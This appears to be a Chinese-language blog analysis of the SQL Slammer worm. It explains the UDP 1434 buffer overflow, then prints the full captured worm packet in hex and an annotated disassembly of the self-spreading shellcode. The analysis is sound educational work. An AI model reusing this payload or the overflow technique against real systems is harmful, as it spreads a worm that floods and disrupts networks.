簡介
網絡安全其實並不是我做的比較多的方向,所以對於病毒的研究也只是皮毛。不過這裏公開一下對於SQLslammer的代碼分析,其中借鑑了不少,並且自己也對彙編代碼進行了更加清晰的解釋,我相信即使你不熟悉彙編看了我的標註也可以明白程序邏輯。
甚至說不定你對彙編還變得更加熟練了。哈哈~~
SQL slammer
Microsoft SQL Server 2000支持在單個物理主機上提供多個SQL服務器的實例,在對每個實例操作時,都可以將其看作是一個單獨的服務器。不過多個實例不能全部使用標準SQL服務會話會話端口(TCP 1433),所以SQL Server Resolution服務操作監聽在UDP 1434端口,提供一種使客戶端查詢適當的網絡終端用於特殊的SQL服務實例的途徑。
當SQL Server Resolution服務在UDP1434端口接收到第一個字節設置爲0x04的UDP包時,SQL監視線程會獲取UDP包中的數據並使用此用戶提供的信息來嘗試打開註冊表中的某一鍵值。如發送\x04\x41\x41\x41\x41類似的UDP包,SQL服務程序就會打開如下註冊表鍵:HKLM\Software\Microsoft\Microsoft SQL Server\AAAA\MSSQLServer\CurrentVersion。
攻擊者可以通過在這個UDP包後追加大量字符串數據,當嘗試打開這個字符串相對應的鍵值時,會發生基於棧的緩衝區溢出。通過包含“jmp esp”或者“call esp”指令的地址覆蓋棧中保存的返回地址,可導致以SQL Server進程的權限在系統中執行任意指令。蠕蟲溢出成功取得系統控制權後,就開始向隨機IP地址發送自身,由於這是一個死循環的過程,發包密度僅和機器性能和網絡帶寬有關,所以發送的數據量非常大。
在實際的測試中發現,如果在同一網段中有一臺機器中了SQL蠕蟲王,該網段中的每一臺機器每秒鐘都可以收到近千個UDP數據包。該蠕蟲對被感染機器本身並沒有進行任何惡意破壞,它僅存在內存之中,不會向硬盤上寫文件。因此對於感染的系統,重新啓動後就可以清除該蠕蟲,但是如果不及時打上補丁,仍然會重複感染。由於發送數據包占用了大量系統資源和網絡帶寬,形成UDP Flood,因此感染了該蠕蟲的網絡性能會極劇下降。一個百兆網絡內只要有一兩臺機器感染該蠕蟲就會導致整個網絡訪問阻塞。
分析
首先我們看一下slammer的數據:
00000028h: 01 00 5E 31 7F D5 00 05 5D 61 48 6B 08 00 45 00 ; …^1?.]aHk…E.
00000038h: 01 94 8F 3A 00 00 01 11 91 14 CA 72 6A 11 E3 B1 ; .攺:…?蕆j.惚
00000048h: 7F D5 0D F9 05 9A 01 80 8F 47 04 01 01 01 01 01 ; ???€廏…
00000058h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000068h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000078h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000088h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000098h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
000000a8h: 01 01 01 01 01 01 01 01 01 01 01 DC C9 B0 42 EB ; …萇癇?
000000b8h: 0E 01 01 01 01 01 01 01 70 AE 42 01 70 AE 42 90 ; …p瓸.p瓸?
000000c8h: 90 90 90 90 90 90 90 68 DC C9 B0 42 B8 01 01 01 ; 悙悙悙恏萇癇?..
000000d8h: 01 31 C9 B1 18 50 E2 FD 35 01 01 01 05 50 89 E5 ; .1殺.P愷5…P夊
000000e8h: 51 68 2E 64 6C 6C 68 65 6C 33 32 68 6B 65 72 6E ; Qh.dllhel32hkern
000000f8h: 51 68 6F 75 6E 74 68 69 63 6B 43 68 47 65 74 54 ; QhounthickChGetT
00000108h: 66 B9 6C 6C 51 68 33 32 2E 64 68 77 73 32 5F 66 ; f筶lQh32.dhws2_f
00000118h: B9 65 74 51 68 73 6F 63 6B 66 B9 74 6F 51 68 73 ; 筫tQhsockf箃oQhs
00000128h: 65 6E 64 BE 18 10 AE 42 8D 45 D4 50 FF 16 50 8D ; end?.瓸岴訮.P?
00000138h: 45 E0 50 8D 45 F0 50 FF 16 50 BE 10 10 AE 42 8B ; E郟岴餚.P?.瓸?
00000148h: 1E 8B 03 3D 55 8B EC 51 74 05 BE 1C 10 AE 42 FF ; .?=U嬱Qt.?.瓸
00000158h: 16 FF D0 31 C9 51 51 50 81 F1 03 01 04 9B 81 F1 ; .?蒕QP侎…泚?
00000168h: 01 01 01 01 51 8D 45 CC 50 8B 45 C0 50 FF 16 6A ; …Q岴蘌婨繮.j
00000178h: 11 6A 02 6A 02 FF D0 50 8D 45 C4 50 8B 45 C0 50 ; .j.j.蠵岴腜婨繮
00000188h: FF 16 89 C6 09 DB 81 F3 3C 61 D9 FF 8B 45 B4 8D ; .壠.蹃?a?婨磵
00000198h: 0C 40 8D 14 88 C1 E2 04 01 C2 C1 E2 08 29 C2 8D ; .@?埩?.鋁?)聧
000001a8h: 04 90 01 D8 89 45 B4 6A 10 8D 45 B0 50 31 C9 51 ; .?貕E磈.岴癙1蒕
000001b8h: 66 81 F1 78 01 51 8D 45 03 50 8B 45 AC 50 FF D6 ; f侎x.Q岴.P婨琍?
000001c8h: EB CA
這是通過抓包得到數據,是一個完整的UDP數據包。
前十四個字節是數據幀的幀頭。第二個加粗的的八個字節是UDP報頭。而中間的20個字節是IP頭部。從04之後的376字節是slammer的功能部分。
彙編
該蠕蟲由被攻擊機器中的sqlsort.dll存在的緩衝區溢出漏洞進行攻擊,獲得控制權。隨後分別從kernel32.dll以及ws2_32.dll中獲得GetTickCount函數和socket以及sendto函數地址。緊接着調用 GetTickCount函數,利用其返回值產生一個隨機數種子,並用此種子產生一個IP地址作爲攻擊對象;隨後創建一個UDP socket,將自身代碼發送到目標IP的1434端口,隨後進入一個無限循環中,重複上述產生隨機IP地址、發送攻擊包等一系列動作。
上面代碼的前一部分,它構造了一個緩衝區溢出的數據包。其中DC C9 B0 42部分是被替換的返回地址, 而該地址0x42B0C9DC是指向sqlsort.dll中的一條指令jmp esp,因此當處理數據包的函數RET指令返回時,ESP正好指向EB 0E(JMP $+0x0E),其執行時會馬上跳到90處開始執行,一串空指令後,便開始病毒正式代碼的執行。
00401000 EB0E jmp loc_00401010
00401002 0101 add [ecx],eax
00401004 0101 add [ecx],eax
00401006 0101 add [ecx],eax
00401008 0170AE add [eax-52h],esi
0040100B 42 inc edx
0040100C 0170AE add [eax-52h],esi
0040100F 42 inc edx
以上主要是初始化部分,並沒有實際的功能。
00401010 loc_00401010:
00401010 90 nop
00401011 90 nop
00401012 90 nop
00401013 90 nop
00401014 90 nop
00401015 90 nop
00401016 90 nop
00401017 90 nop
以下是主要的功能模塊。
開始重新寫回包中損壞的數據,這裏注意是小段存儲,另外可以和上部分的數據進行對照。
壓棧
00401018 68DCC9B042 push 42B0C9DCh ;
將1010101賦給eax寄存器,這裏大家對照數據來看,是爲了進行重新填充數據。
0040101D B801010101 mov eax,1010101h
xor 異或清零ecx
00401022 31C9 xor ecx,ecx
這裏cl寄存器是關鍵,他是一個16位寄存器,和loop指令組合使用,可以簡單理解爲cl中表示的是loop循環的次數。
00401024 B118 mov cl,18h ;往堆棧中壓入60H個01
00401026 loc_00401026:
00401026 50 push eax
00401027 E2FD loop loc_00401026
這裏進行loop 執行18H次的push eax, 大家對照上一部分的數據就可以知道爲什麼這麼寫了。
00401029 3501010105 xor eax,5010101h ;
此時eax = 1010101 然後執行異或就得到了,此時eax=04000000
0040102E 50 push eax
0040102F 89E5 mov ebp,esp;
此時ebp+3指向字節04
此時整個包已經重新構造完畢,和高地址字節形成蠕蟲將要發送的包的內容
這裏需要注意一下,由於執行了mov ebp,esp,所以此時相當於ebp被重置了。後面的壓棧操作就重新衝ebp開始計數了。
這裏重要是因爲決定我們後面如何根據基址來調用堆棧中的數據。
00401031 51 push ecx
00401032 682E646C6C push 6C6C642Eh
00401037 68656C3332 push 32336C65h
0040103C 686B65726E push 6E72656Bh ;kernel32.dll字串進棧
這裏我們記下kernel32.dll的地址, ebp+10h
00401041 51 push ecx
00401042 686F756E74 push 746E756Fh
00401047 6869636B43 push 436B6369h
0040104C 6847657454 push 54746547h ;GetTickCount函數名字串入棧
同理得到GTC函數的地址:ebp+20H
00401051 66B96C6C mov cx,6C6Ch
00401055 51 push ecx
00401056 6833322E64 push 642E3233h
0040105B 687773325F push 5F327377h ;ws2_32.dll字串入棧
00401060 66B96574 mov cx,7465h
00401064 51 push ecx
00401065 68736F636B push 6B636F73h ;socket函數名字符串進棧
0040106A 66B9746F mov cx,6F74h
0040106E 51 push ecx
0040106F 6873656E64 push 646E6573h ;sendto函數名字符串入棧
00401074 BE1810AE42 mov esi,42AE1018h
;從IAT中直接獲得Loadlibrary的函數地址
00401079 8D45D4 lea eax,[ebp-2Ch] ;即字串ws2_32.dll的開始位置
0040107C 50 push eax
;上面的dll串首址進棧,Loadlibrary函數的參數
0040107D FF16 call dword ptr [esi] ;調用Loadlibrary函數
0040107F 50 push eax;將ws2_32.dll的模塊地址壓入堆棧
00401080 8D45E0 lea eax,[ebp-20h]
;得到GetTickCount函數名字符串首地址
00401083 50 push eax
;首地址入堆棧,作爲後面GetProcAddress的參數
00401084 8D45F0 lea eax,[ebp-10h] ;獲得kernel32.dll字串首地址
00401087 50 push eax ;kernel32.dll字串首地址入棧
00401088 FF16 call dword ptr [esi] ;調用Loadlibrary函數
0040108A 50 push eax
;kernel32.dll模塊地址入棧,作爲後面GetProcAddress的參數
0040108B BE1010AE42 mov esi,42AE1010h ;從IAT中獲得GetProcAddress函數地址
00401090 8B1E mov ebx,[esi]
00401092 8B03 mov eax,[ebx]
00401094 3D558BEC51 cmp eax,51EC8B55h
;判斷是否取用了GetProcAddress真正地址
00401099 7405 jz loc_004010A0
0040109B BE1C10AE42 mov esi,42AE101Ch
;從IAT中獲得GetProcAddress真正地址的存放地址
004010A0 loc_004010A0:
004010A0 FF16 call dword ptr [esi]
;調用GetProcAddress,獲得GetTickCount函數地址
004010A2 FFD0 call eax ;調用GetTickCount函數
004010A4 31C9 xor ecx,ecx
004010A6 51 push ecx
004010A7 51 push ecx
004010A8 50 push eax ;eax爲通過GetTickCount獲得的隨機數
004010A9 81F10301049B xor ecx,9B040103h
004010AF 81F101010101 xor ecx,1010101h
004010B5 51 push ecx
;exc:9A050002 =〉port 1434(59AH) / AF_INET(02)
004010B6 8D45CC lea eax,[ebp-34h] ;獲得socket函數名字串首地址
004010B9 50 push eax ;參數入棧
004010BA 8B45C0 mov eax,[ebp-40h] ;ws2_32.dll的模塊基地址
004010BD 50 push eax ;參數入棧
004010BE FF16 call dword ptr [esi] ;調用GetProcAddress函數
004010C0 6A11 push 11h ;參數protocol,此時無意義
004010C2 6A02 push 2
;參數type,SOCK_DGRAM,數據報套接字,使用UDP協議
004010C4 6A02 push 2 ;AF_INET,套接字的地址格式
004010C6 FFD0 call eax ;調用socket函數
004010C8 50 push eax ;返回的套接字句柄進棧
004010C9 8D45C4 lea eax,[ebp-3Ch] ;sendto函數名字串首址
004010CC 50 push eax
004010CD 8B45C0 mov eax,[ebp-40h] ;ws2_32.dll的模塊基地址
004010D0 50 push eax
004010D1 FF16 call dword ptr [esi] ;調用GetProcAddress函數
004010D3 89C6 mov esi,eax ;得到sendto函數地址
004010D5 09DB or ebx,ebx
004010D7 81F33C61D9FF xor ebx,0FFD9613Ch
004010DD loc_004010DD:
004010DD 8B45B4 mov eax,[ebp-4Ch]
;上面GetTickCount函數得到的隨機數放到eax中,作爲IP變換的隨機數種子
004010E0 8D0C40 lea ecx,[eax+eax*2];這裏開始進行運算,得到隨機IP
004010E3 8D1488 lea edx,[eax+ecx*4]
004010E6 C1E204 shl edx,4
004010E9 01C2 add edx,eax
004010EB C1E208 shl edx,8
004010EE 29C2 sub edx,eax
004010F0 8D0490 lea eax,[eax+edx*4]
004010F3 01D8 add eax,ebx
004010F5 8945B4 mov [ebp-4Ch],eax;保存得到的隨機IP,作爲下一個IP生成函數的輸入
004010F8 6A10 push 10h ;目標Socket結構長度16個字節
004010FA 8D45B0 lea eax,[ebp-50h]
004010FD 50 push eax ;目標Socket結構首地址
004010FE 31C9 xor ecx,ecx
00401100 51 push ecx ;flags
00401101 6681F17801 xor cx,178h ;要發送的數據長度:376字節
00401106 51 push ecx
00401107 8D4503 lea eax,[ebp+3]
0040110A 50 push eax ;要發送數據的緩衝區首址
0040110B 8B45AC mov eax,[ebp-54h]
0040110E 50 push eax ;套接字句炳
0040110F FFD6 call esi ;調用sendto函數往目標IP發送數據
00401111 EBCA jmp loc_004010DD
歡迎指正,大家共勉~~